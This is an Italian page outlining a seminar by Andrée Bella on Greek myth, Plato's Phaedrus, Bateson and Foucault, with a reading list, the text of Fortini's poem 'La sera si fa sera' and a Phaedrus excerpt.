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BDF 2.2 Andrée Bella – Il discorso vivente ed animato di colui che sa. (Fedro 276 a)

Dalla contemplazione del mondo naturale alla natura mitica delle idee: riflessioni su saggezza e sapere etopoietico a partire da Gregory Bateson e Michel Foucault

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Potremmo suddividere l’intervento di Andrée Bella in tre parti:
– una prima su alcune figure e immagini del mito greco in relazione ai termini linguistico-lessicali, che sottolinea le profonde connessioni tra l’uso della lingua e la creatione dell’ethos (etopoiesi);
– nella seconda parte il Fedro di Platone viene preso come esempio di tale costruzione linguistica;
– la terza parte collega queste riflessioni con alcuni snodi del pensiero di Bateson (il tema della finalità cosciente e dei correttivi ecologici, una riflessione che avviene nel Sessantotto in California) e con alcuni aspetti del corso dell’anno 1981-82 di Foucault al Collège de France, quando Foucault – negli ultimi anni della sua vita – si occupa del tema della cura di sé. Sottolineando quegli aspetti che evidenziano la contemplazione e lo studio della natura come strumento per la conoscenza di sé.

Per la prima parte dell’intervento si raccomanda la consultazione di
K. Kerenyi, Prolegomeni allo studio scientifico della mitologia, trad. it. A. Brelich, Boringhieri, Torino, 1983
Per la seconda parte
Platone Fedro (edizione con testo a fronte)
Per la terza parte
Gregory Bateson “Finaltà cosciente e natura” e “Effetti della finalità cosciente sull’adattamento umano”, in Verso un’ecologia della mente, Adelphi, Milano, 1976
Michel Foucault L’ermeneutica del soggetto, Feltrinelli, Milano, 2002 (in particolare le parti riguardanti Seneca)

Andrée Bella è Psicologa e Dottoranda di Ricerca in Scienze della formazione e della comunicazione – Università degli Studi di Milano-Bicocca, ha tenuato seminari e collabora alla ricerca persso l’Università di Milano-Bicocca (Filosofia morale e Pratiche filosofiche) e presso l’Università di Bergamo (Psicologia dinamica)

“Il discorso vivente ed animato di colui che sa. (Fedro 276 a)

Dalla contemplazione del mondo naturale alla natura mitica delle idee: riflessioni sulla saggezza a partire da Gregory Bateson e Michel Foucault”

“…Per riflettere su quel più ampio sapere che è la colla che tiene insieme le stelle e gli anemoni di mare” (Bateson, Mente e natura).

“… Ma l’altra modalità del sapere in che cosa consiste? Ebbene, credo che la si potrebbe definire, molto semplicemente, una modalità di sapere di carattere relazionale, dal momento che- quando si prendono in esame gli dei, gli uomini, il mondo, e così via – quel che si tratta di prendere in considerazione, per l’appunto, è la relazione che sussiste tra gli dei, gli uomini, il mondo, le cose del mondo, da un lato e noi dall’altro”

(Foucault, L’ermeneutica del soggetto)


coppa cerbiatto


Franco Fortini


La sera si fa sera


La sera si fa sera,

tu non avrai compagni.

Ed allora verrà

la faina da te

per metterti paura.

Ma non prender paura,

prendila per sorella.

La faina conosce

e l’ordine dei fiumi

e i fondali dei guadi

e ti farà passare

senza che tu t’anneghi

e poi ti condurrà

fino alle fonti fredde

perché tu ti rinfreschi

dai polsi fino ai gomiti

dei brividi di morte.

Anche comparirà

davanti a te il lupo

per metterti paura.

Ma non prender paura

prendilo per fratello.

Perché il lupo conosce

e l’ordine dei boschi

e il senso dei sentieri

e t’accompagnerà

per la via più leggera

verso un alto giardino

dove la luce è quieta.

Il tuo posto è laggiù,

dove vivere è bello

dov’è il campo di dolie

la collina dei giuochi.

E laggiù c’è il tuo cuore.

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Socrate: “Della divina mania abbiamo distinto quattro parti con riferimento a quattro dei: abbiamo attribuito ad Apollo l’ispirazione mantica, a Dioniso la telestica, alle Muse la poetica, e la quarta ad Afrodite e a Eros, e abbiamo detto che la mania amorosa è la migliore. E non so come, descrivendo con immagini la passione amorosa, cogliendo forse da un lato qualche verità, e dall’altro anche uscendo fuori strada da qualche parte, componendo un discorso non per intero convincente, abbiamo cantato un inno che narra un mito in forma di gioco, in modo misurato e pio, in onore di Eros che è mio e tuo signore Fedro ed è patrono dei bei giovani.

Fedro: “Ed a me non è davvero dispiaciuto ascoltarlo!” (Fedro 265b)

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i declivi e i burroni;

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